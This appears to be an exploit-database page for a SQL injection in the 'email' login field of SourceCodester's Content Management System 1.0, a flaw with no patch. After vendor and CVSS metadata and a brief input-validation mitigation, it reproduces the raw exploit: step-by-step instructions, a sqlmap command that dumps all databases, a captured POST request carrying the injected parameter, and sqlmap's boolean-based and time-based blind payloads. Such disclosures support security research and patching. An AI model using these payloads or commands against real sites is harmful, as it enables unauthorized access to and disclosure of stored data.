Content Management System 1.0 - 'email' SQL Injection

vendor:

Content Management System using PHP/MySQLi with Source Code

by:

Zhayi (Zeo)

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Content Management System using PHP/MySQLi with Source Code

Affected Version From: Version 1

Affected Version To: Version 1

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:content_management_system_using_phpmysqli_source_code

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

Content Management System 1.0 – ’email’ SQL Injection

An attacker can exploit a SQL injection vulnerability in Content Management System 1.0 by sending a maliciously crafted request to the 'http://127.0.0.1/ajax.php?action=login' page. This can be done by capturing the request of the page in Burp Suite, saving the POST packet, and running sqlmap on the request file using the command 'python3 sqlmap.py -r request.txt --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast --dbs". This will inject successfully and allow for an information disclosure of all databases contents.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

# Exploit Title: Content Management System 1.0 - 'email' SQL Injection
# Exploit Author: Zhayi (Zeo)
# Date: 2020-12-14
# Vendor Homepage: https://www.sourcecodester.com/php/14625/content-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14625&title=Content+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: WINDOWS 10

Step 1. Capture the request of the "http://127.0.0.1/ajax.php?action=login"
page in burpsute
Step 2. Save POST the packet
Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r
request.txt --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast
--dbs "
Step 4. This will inject successfully and you will have an information
disclosure of all databases contents

POST the packet
---
POST /ajax.php?action=login HTTP/1.1
Host: 10.211.55.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Content-Length: 61
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=ltiafgjrnml0d8kqe58gcsk1v3
Origin: http://10.211.55.4
Referer: http://10.211.55.4/login.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

email=admin%40admin.com%27and%27p%27%3D%27p&password=admin123
---

SQLMAP
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: email=admin@admin.com'and'p'='p' AND 9108=9108 AND
'WlxU'='WlxU&password=admin123

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@admin.com'and'p'='p' AND (SELECT 3864 FROM
(SELECT(SLEEP(5)))pNJR) AND 'hxyZ'='hxyZ&password=admin123
---